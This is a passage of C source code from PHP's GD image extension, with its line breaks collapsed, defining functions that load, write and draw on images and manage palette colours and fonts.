(*func_p)(fp); break; } fflush(fp); } /* register_im: */ if (im) { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); php_stream_close(stream); return; } php_error_docref(NULL TSRMLS_CC, E_WARNING, "'%s' is not a valid %s file", file, tn); out_err: php_stream_close(stream); RETURN_FALSE; } /* }}} */ /* {{{ proto resource imagecreatefromgif(string filename) Create a new image from GIF file or URL */ PHP_FUNCTION(imagecreatefromgif) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GIF, "GIF", gdImageCreateFromGif, gdImageCreateFromGifCtx); } /* }}} */ #ifdef HAVE_GD_JPG /* {{{ proto resource imagecreatefromjpeg(string filename) Create a new image from JPEG file or URL */ PHP_FUNCTION(imagecreatefromjpeg) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG, "JPEG", gdImageCreateFromJpeg, gdImageCreateFromJpegCtx); } /* }}} */ #endif /* HAVE_GD_JPG */ #ifdef HAVE_GD_PNG /* {{{ proto resource imagecreatefrompng(string filename) Create a new image from PNG file or URL */ PHP_FUNCTION(imagecreatefrompng) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG, "PNG", gdImageCreateFromPng, gdImageCreateFromPngCtx); } /* }}} */ #endif /* HAVE_GD_PNG */ #ifdef HAVE_GD_WEBP /* {{{ proto resource imagecreatefromwebp(string filename) Create a new image from WEBP file or URL */ PHP_FUNCTION(imagecreatefromwebp) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WEBP, "WEBP", gdImageCreateFromWebp, gdImageCreateFromWebpCtx); } /* }}} */ #endif /* HAVE_GD_VPX */ /* {{{ proto resource imagecreatefromxbm(string filename) Create a new image from XBM file or URL */ PHP_FUNCTION(imagecreatefromxbm) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XBM, "XBM", gdImageCreateFromXbm, NULL); } /* }}} */ #if defined(HAVE_GD_XPM) /* {{{ proto resource imagecreatefromxpm(string filename) Create a new image from XPM file or URL */ PHP_FUNCTION(imagecreatefromxpm) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XPM, "XPM", gdImageCreateFromXpm, NULL); } /* }}} */ #endif /* {{{ proto resource imagecreatefromwbmp(string filename) Create a new image from WBMP file or URL */ PHP_FUNCTION(imagecreatefromwbmp) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WBM, "WBMP", gdImageCreateFromWBMP, gdImageCreateFromWBMPCtx); } /* }}} */ /* {{{ proto resource imagecreatefromgd(string filename) Create a new image from GD file or URL */ PHP_FUNCTION(imagecreatefromgd) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD, "GD", gdImageCreateFromGd, gdImageCreateFromGdCtx); } /* }}} */ /* {{{ proto resource imagecreatefromgd2(string filename) Create a new image from GD2 file or URL */ PHP_FUNCTION(imagecreatefromgd2) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2, "GD2", gdImageCreateFromGd2, gdImageCreateFromGd2Ctx); } /* }}} */ /* {{{ proto resource imagecreatefromgd2part(string filename, int srcX, int srcY, int width, int height) Create a new image from a given part of GD2 file or URL */ PHP_FUNCTION(imagecreatefromgd2part) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2PART, "GD2", gdImageCreateFromGd2Part, gdImageCreateFromGd2PartCtx); } /* }}} */ /* {{{ _php_image_output */ static void _php_image_output(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, void (*func_p)()) { zval *imgind; char *file = NULL; long quality = 0, type = 0; gdImagePtr im; char *fn = NULL; FILE *fp; int file_len = 0, argc = ZEND_NUM_ARGS(); int q = -1, i, t = 1; /* The quality parameter for Wbmp stands for the threshold when called from image2wbmp() */ /* When called from imagewbmp() the quality parameter stands for the foreground color. Default: black. */ /* The quality parameter for gd2 stands for chunk size */ if (zend_parse_parameters(argc TSRMLS_CC, "r|pll", &imgind, &file, &file_len, &quality, &type) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &imgind, -1, "Image", le_gd); if (argc > 1) { fn = file; if (argc == 3) { q = quality; } if (argc == 4) { t = type; } } if (argc >= 2 && file_len) { PHP_GD_CHECK_OPEN_BASEDIR(fn, "Invalid filename"); fp = VCWD_FOPEN(fn, "wb"); if (!fp) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for writing", fn); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_CONVERT_WBM: if (q == -1) { q = 0; } else if (q < 0 || q > 255) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'. It must be between 0 and 255", q); q = 0; } gdImageWBMP(im, q, fp); break; case PHP_GDIMG_TYPE_JPG: (*func_p)(im, fp, q); break; case PHP_GDIMG_TYPE_WBM: for (i = 0; i < gdImageColorsTotal(im); i++) { if (gdImageRed(im, i) == 0) break; } (*func_p)(im, i, fp); break; case PHP_GDIMG_TYPE_GD: if (im->trueColor){ gdImageTrueColorToPalette(im,1,256); } (*func_p)(im, fp); break; case PHP_GDIMG_TYPE_GD2: if (q == -1) { q = 128; } (*func_p)(im, fp, q, t); break; default: if (q == -1) { q = 128; } (*func_p)(im, fp, q, t); break; } fflush(fp); fclose(fp); } else { int b; FILE *tmp; char buf[4096]; char *path; tmp = php_open_temporary_file(NULL, NULL, &path TSRMLS_CC); if (tmp == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open temporary file"); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_CONVERT_WBM: if (q == -1) { q = 0; } else if (q < 0 || q > 255) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'. It must be between 0 and 255", q); q = 0; } gdImageWBMP(im, q, tmp); break; case PHP_GDIMG_TYPE_JPG: (*func_p)(im, tmp, q); break; case PHP_GDIMG_TYPE_WBM: for (i = 0; i < gdImageColorsTotal(im); i++) { if (gdImageRed(im, i) == 0) { break; } } (*func_p)(im, q, tmp); break; case PHP_GDIMG_TYPE_GD: if (im->trueColor) { gdImageTrueColorToPalette(im,1,256); } (*func_p)(im, tmp); break; case PHP_GDIMG_TYPE_GD2: if (q == -1) { q = 128; } (*func_p)(im, tmp, q, t); break; default: (*func_p)(im, tmp); break; } fseek(tmp, 0, SEEK_SET); #if APACHE && defined(CHARSET_EBCDIC) /* XXX this is unlikely to work any more thies@thieso.net */ /* This is a binary file already: avoid EBCDIC->ASCII conversion */ ap_bsetflag(php3_rqst->connection->client, B_EBCDIC2ASCII, 0); #endif while ((b = fread(buf, 1, sizeof(buf), tmp)) > 0) { php_write(buf, b TSRMLS_CC); } fclose(tmp); VCWD_UNLINK((const char *)path); /* make sure that the temporary file is removed */ efree(path); } RETURN_TRUE; } /* }}} */ /* {{{ proto int imagexbm(int im, string filename [, int foreground]) Output XBM image to browser or file */ PHP_FUNCTION(imagexbm) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XBM, "XBM", gdImageXbmCtx); } /* }}} */ /* {{{ proto bool imagegif(resource im [, string filename]) Output GIF image to browser or file */ PHP_FUNCTION(imagegif) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GIF, "GIF", gdImageGifCtx); } /* }}} */ #ifdef HAVE_GD_PNG /* {{{ proto bool imagepng(resource im [, string filename]) Output PNG image to browser or file */ PHP_FUNCTION(imagepng) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG, "PNG", gdImagePngCtxEx); } /* }}} */ #endif /* HAVE_GD_PNG */ #ifdef HAVE_GD_WEBP /* {{{ proto bool imagewebp(resource im [, string filename[, quality]] ) Output WEBP image to browser or file */ PHP_FUNCTION(imagewebp) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WEBP, "WEBP", gdImageWebpCtx); } /* }}} */ #endif /* HAVE_GD_WEBP */ #ifdef HAVE_GD_JPG /* {{{ proto bool imagejpeg(resource im [, string filename [, int quality]]) Output JPEG image to browser or file */ PHP_FUNCTION(imagejpeg) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG, "JPEG", gdImageJpegCtx); } /* }}} */ #endif /* HAVE_GD_JPG */ /* {{{ proto bool imagewbmp(resource im [, string filename, [, int foreground]]) Output WBMP image to browser or file */ PHP_FUNCTION(imagewbmp) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WBM, "WBMP", gdImageWBMPCtx); } /* }}} */ /* {{{ proto bool imagegd(resource im [, string filename]) Output GD image to browser or file */ PHP_FUNCTION(imagegd) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD, "GD", gdImageGd); } /* }}} */ /* {{{ proto bool imagegd2(resource im [, string filename, [, int chunk_size, [, int type]]]) Output GD2 image to browser or file */ PHP_FUNCTION(imagegd2) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2, "GD2", gdImageGd2); } /* }}} */ /* {{{ proto bool imagedestroy(resource im) Destroy an image */ PHP_FUNCTION(imagedestroy) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); zend_list_delete(Z_LVAL_P(IM)); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorallocate(resource im, int red, int green, int blue) Allocate a color for an image */ PHP_FUNCTION(imagecolorallocate) { zval *IM; long red, green, blue; gdImagePtr im; int ct = (-1); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ct = gdImageColorAllocate(im, red, green, blue); if (ct < 0) { RETURN_FALSE; } RETURN_LONG(ct); } /* }}} */ /* {{{ proto void imagepalettecopy(resource dst, resource src) Copy the palette from the src image onto the dst image */ PHP_FUNCTION(imagepalettecopy) { zval *dstim, *srcim; gdImagePtr dst, src; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &dstim, &srcim) == FAILURE) { return; } ZEND_FETCH_RESOURCE(dst, gdImagePtr, &dstim, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(src, gdImagePtr, &srcim, -1, "Image", le_gd); gdImagePaletteCopy(dst, src); } /* }}} */ /* {{{ proto int imagecolorat(resource im, int x, int y) Get the index of the color of a pixel */ PHP_FUNCTION(imagecolorat) { zval *IM; long x, y; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &IM, &x, &y) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImageTrueColor(im)) { if (im->tpixels && gdImageBoundsSafe(im, x, y)) { RETURN_LONG(gdImageTrueColorPixel(im, x, y)); } else { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "%ld,%ld is out of bounds", x, y); RETURN_FALSE; } } else { if (im->pixels && gdImageBoundsSafe(im, x, y)) { RETURN_LONG(im->pixels[y][x]); } else { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "%ld,%ld is out of bounds", x, y); RETURN_FALSE; } } } /* }}} */ /* {{{ proto int imagecolorclosest(resource im, int red, int green, int blue) Get the index of the closest color to the specified color */ PHP_FUNCTION(imagecolorclosest) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosest(im, red, green, blue)); } /* }}} */ /* {{{ proto int imagecolorclosesthwb(resource im, int red, int green, int blue) Get the index of the color which has the hue, white and blackness nearest to the given color */ PHP_FUNCTION(imagecolorclosesthwb) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosestHWB(im, red, green, blue)); } /* }}} */ /* {{{ proto bool imagecolordeallocate(resource im, int index) De-allocate a color for an image */ PHP_FUNCTION(imagecolordeallocate) { zval *IM; long index; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &index) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); /* We can return right away for a truecolor image as deallocating colours is meaningless here */ if (gdImageTrueColor(im)) { RETURN_TRUE; } col = index; if (col >= 0 && col < gdImageColorsTotal(im)) { gdImageColorDeallocate(im, col); RETURN_TRUE; } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color index %d out of range", col); RETURN_FALSE; } } /* }}} */ /* {{{ proto int imagecolorresolve(resource im, int red, int green, int blue) Get the index of the specified color or its closest possible alternative */ PHP_FUNCTION(imagecolorresolve) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorResolve(im, red, green, blue)); } /* }}} */ /* {{{ proto int imagecolorexact(resource im, int red, int green, int blue) Get the index of the specified color */ PHP_FUNCTION(imagecolorexact) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorExact(im, red, green, blue)); } /* }}} */ /* {{{ proto void imagecolorset(resource im, int col, int red, int green, int blue) Set the color for the specified palette index */ PHP_FUNCTION(imagecolorset) { zval *IM; long color, red, green, blue, alpha = 0; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll|l", &IM, &color, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = color; if (col >= 0 && col < gdImageColorsTotal(im)) { im->red[col] = red; im->green[col] = green; im->blue[col] = blue; im->alpha[col] = alpha; } else { RETURN_FALSE; } } /* }}} */ /* {{{ proto array imagecolorsforindex(resource im, int col) Get the colors for an index */ PHP_FUNCTION(imagecolorsforindex) { zval *IM; long index; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &index) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = index; if ((col >= 0 && gdImageTrueColor(im)) || (!gdImageTrueColor(im) && col >= 0 && col < gdImageColorsTotal(im))) { array_init(return_value); add_assoc_long(return_value,"red", gdImageRed(im,col)); add_assoc_long(return_value,"green", gdImageGreen(im,col)); add_assoc_long(return_value,"blue", gdImageBlue(im,col)); add_assoc_long(return_value,"alpha", gdImageAlpha(im,col)); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color index %d out of range", col); RETURN_FALSE; } } /* }}} */ /* {{{ proto bool imagegammacorrect(resource im, float inputgamma, float outputgamma) Apply a gamma correction to a GD image */ PHP_FUNCTION(imagegammacorrect) { zval *IM; gdImagePtr im; int i; double input, output; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rdd", &IM, &input, &output) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImageTrueColor(im)) { int x, y, c; for (y = 0; y < gdImageSY(im); y++) { for (x = 0; x < gdImageSX(im); x++) { c = gdImageGetPixel(im, x, y); gdImageSetPixel(im, x, y, gdTrueColorAlpha( (int) ((pow((pow((gdTrueColorGetRed(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetBlue(c) / 255.0), input)), 1.0 / output) * 255) + .5), gdTrueColorGetAlpha(c) ) ); } } RETURN_TRUE; } for (i = 0; i < gdImageColorsTotal(im); i++) { im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->blue[i] = (int)((pow((pow((im->blue[i] / 255.0), input)), 1.0 / output) * 255) + .5); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetpixel(resource im, int x, int y, int col) Set a single pixel */ PHP_FUNCTION(imagesetpixel) { zval *IM; long x, y, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &x, &y, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSetPixel(im, x, y, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imageline(resource im, int x1, int y1, int x2, int y2, int col) Draw a line */ PHP_FUNCTION(imageline) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); #ifdef HAVE_GD_BUNDLED if (im->antialias) { gdImageAALine(im, x1, y1, x2, y2, col); } else #endif { gdImageLine(im, x1, y1, x2, y2, col); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagedashedline(resource im, int x1, int y1, int x2, int y2, int col) Draw a dashed line */ PHP_FUNCTION(imagedashedline) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageDashedLine(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagerectangle(resource im, int x1, int y1, int x2, int y2, int col) Draw a rectangle */ PHP_FUNCTION(imagerectangle) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageRectangle(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledrectangle(resource im, int x1, int y1, int x2, int y2, int col) Draw a filled rectangle */ PHP_FUNCTION(imagefilledrectangle) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFilledRectangle(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagearc(resource im, int cx, int cy, int w, int h, int s, int e, int col) Draw a partial ellipse */ PHP_FUNCTION(imagearc) { zval *IM; long cx, cy, w, h, ST, E, col; gdImagePtr im; int e, st; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllllll", &IM, &cx, &cy, &w, &h, &ST, &E, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); e = E; if (e < 0) { e %= 360; } st = ST; if (st < 0) { st %= 360; } gdImageArc(im, cx, cy, w, h, st, e, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imageellipse(resource im, int cx, int cy, int w, int h, int color) Draw an ellipse */ PHP_FUNCTION(imageellipse) { zval *IM; long cx, cy, w, h, color; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &cx, &cy, &w, &h, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageEllipse(im, cx, cy, w, h, color); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilltoborder(resource im, int x, int y, int border, int col) Flood fill to specific color */ PHP_FUNCTION(imagefilltoborder) { zval *IM; long x, y, border, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &x, &y, &border, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFillToBorder(im, x, y, border, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefill(resource im, int x, int y, int col) Flood fill */ PHP_FUNCTION(imagefill) { zval *IM; long x, y, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &x, &y, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFill(im, x, y, col); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorstotal(resource im) Find out the number of colors in an image's palette */ PHP_FUNCTION(imagecolorstotal) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorsTotal(im)); } /* }}} */ /* {{{ proto int imagecolortransparent(resource im [, int col]) Define a color as transparent */ PHP_FUNCTION(imagecolortransparent) { zval *IM; long COL = 0; gdImagePtr im; int argc = ZEND_NUM_ARGS(); if (zend_parse_parameters(argc TSRMLS_CC, "r|l", &IM, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (argc > 1) { gdImageColorTransparent(im, COL); } RETURN_LONG(gdImageGetTransparent(im)); } /* }}} */ /* {{{ proto int imageinterlace(resource im [, int interlace]) Enable or disable interlace */ PHP_FUNCTION(imageinterlace) { zval *IM; int argc = ZEND_NUM_ARGS(); long INT = 0; gdImagePtr im; if (zend_parse_parameters(argc TSRMLS_CC, "r|l", &IM, &INT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (argc > 1) { gdImageInterlace(im, INT); } RETURN_LONG(gdImageGetInterlaced(im)); } /* }}} */ /* {{{ php_imagepolygon arg = 0 normal polygon arg = 1 filled polygon */ /* im, points, num_points, col */ static void php_imagepolygon(INTERNAL_FUNCTION_PARAMETERS, int filled) { zval *IM, *POINTS; long NPOINTS, COL; zval **var = NULL; gdImagePtr im; gdPointPtr points; int npoints, col, nelem, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rall", &IM, &POINTS, &NPOINTS, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); npoints = NPOINTS; col = COL; nelem = zend_hash_num_elements(Z_ARRVAL_P(POINTS)); if (nelem < 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have at least 3 points in your array"); RETURN_FALSE; } if (npoints <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must give a positive number of points"); RETURN_FALSE; } if (nelem < npoints * 2) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Trying to use %d points in array with only %d points", npoints, nelem/2); RETURN_FALSE; } points = (gdPointPtr) safe_emalloc(npoints, sizeof(gdPoint), 0); for (i = 0; i < npoints; i++) { if (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2), (void **) &var) == SUCCESS) { if (Z_TYPE_PP(var) != IS_LONG) { zval lval; lval = **var; zval_copy_ctor(&lval); convert_to_long(&lval); points[i].x = Z_LVAL(lval); } else { points[i].x = Z_LVAL_PP(var); } } if (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2) + 1, (void **) &var) == SUCCESS) { if (Z_TYPE_PP(var) != IS_LONG) { zval lval; lval = **var; zval_copy_ctor(&lval); convert_to_long(&lval); points[i].y = Z_LVAL(lval); } else { points[i].y = Z_LVAL_PP(var); } } } if (filled) { gdImageFilledPolygon(im, points, npoints, col); } else { gdImagePolygon(im, points, npoints, col); } efree(points); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepolygon(resource im, array point, int num_points, int col) Draw a polygon */ PHP_FUNCTION(imagepolygon) { php_imagepolygon(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto bool imagefilledpolygon(resource im, array point, int num_points, int col) Draw a filled polygon */ PHP_FUNCTION(imagefilledpolygon) { php_imagepolygon(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ php_find_gd_font */ static gdFontPtr php_find_gd_font(int size TSRMLS_DC) { gdFontPtr font; int ind_type; switch (size) { case 1: font = gdFontTiny; break; case 2: font = gdFontSmall; break; case 3: font = gdFontMediumBold; break; case 4: font = gdFontLarge; break; case 5: font = gdFontGiant; break; default: font = zend_list_find(size - 5, &ind_type); if (!font || ind_type != le_gd_font) { if (size < 1) { font = gdFontTiny; } else { font = gdFontGiant; } } break; } return font; } /* }}} */ /* {{{ php_imagefontsize * arg = 0 ImageFontWidth * arg = 1 ImageFontHeight */ static void php_imagefontsize(INTERNAL_FUNCTION_PARAMETERS, int arg) { long SIZE; gdFontPtr font; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &SIZE) == FAILURE) { return; } font = php_find_gd_font(SIZE TSRMLS_CC); RETURN_LONG(arg ? font->h : font->w); } /* }}} */ /* {{{ proto int imagefontwidth(int font) Get font width */ PHP_FUNCTION(imagefontwidth) { php_imagefontsize(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto int imagefontheight(int font) Get font height */ PHP_FUNCTION(imagefontheight) { php_imagefontsize(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ php_gdimagecharup * workaround for a bug in gd 1.2 */ static void php_gdimagecharup(gdImagePtr im, gdFontPtr f, int x, int y, int c, int color) { int cx, cy, px, py, fline; cx = 0; cy = 0; if ((c < f->offset) || (c >= (f->offset + f->nchars))) { return; } fline = (c - f->offset) * f->h * f->w; for (py = y; (py > (y - f->w)); py--) { for (px = x; (px < (x + f->h)); px++) { if (f->data[fline + cy * f->w + cx]) { gdImageSetPixel(im, px, py, color); } cy++; } cy = 0; cx++; } } /* }}} */ /* {{{ php_imagechar * arg = 0 ImageChar * arg = 1 ImageCharUp * arg = 2 ImageString * arg = 3 ImageStringUp */ static void php_imagechar(INTERNAL_FUNCTION_PARAMETERS, int mode) { zval *IM; long SIZE, X, Y, COL; char *C; int C_len; gdImagePtr im; int ch = 0, col, x, y, size, i, l = 0; unsigned char *str = NULL; gdFontPtr font; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllsl", &IM, &SIZE, &X, &Y, &C, &C_len, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = COL; if (mode < 2) { ch = (int)((unsigned char)*C); } else { str = (unsigned char *) estrndup(C, C_len); l = strlen((char *)str); } y = Y; x = X; size = SIZE; font = php_find_gd_font(size TSRMLS_CC); switch (mode) { case 0: gdImageChar(im, font, x, y, ch, col); break; case 1: php_gdimagecharup(im, font, x, y, ch, col); break; case 2: for (i = 0; (i < l); i++) { gdImageChar(im, font, x, y, (int) ((unsigned char) str[i]), col); x += font->w; } break; case 3: { for (i = 0; (i < l); i++) { /* php_gdimagecharup(im, font, x, y, (int) str[i], col); */ gdImageCharUp(im, font, x, y, (int) str[i], col); y -= font->w; } break; } } if (str) { efree(str); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagechar(resource im, int font, int x, int y, string c, int col) Draw a character */ PHP_FUNCTION(imagechar) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto bool imagecharup(resource im, int font, int x, int y, string c, int col) Draw a character rotated 90 degrees counter-clockwise */ PHP_FUNCTION(imagecharup) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ proto bool imagestring(resource im, int font, int x, int y, string str, int col) Draw a string horizontally */ PHP_FUNCTION(imagestring) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 2); } /* }}} */ /* {{{ proto bool imagestringup(resource im, int font, int x, int y, string str, int col) Draw a string vertically - rotated 90 degrees counter-clockwise */ PHP_FUNCTION(imagestringup) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 3); } /* }}} */ /* {{{ 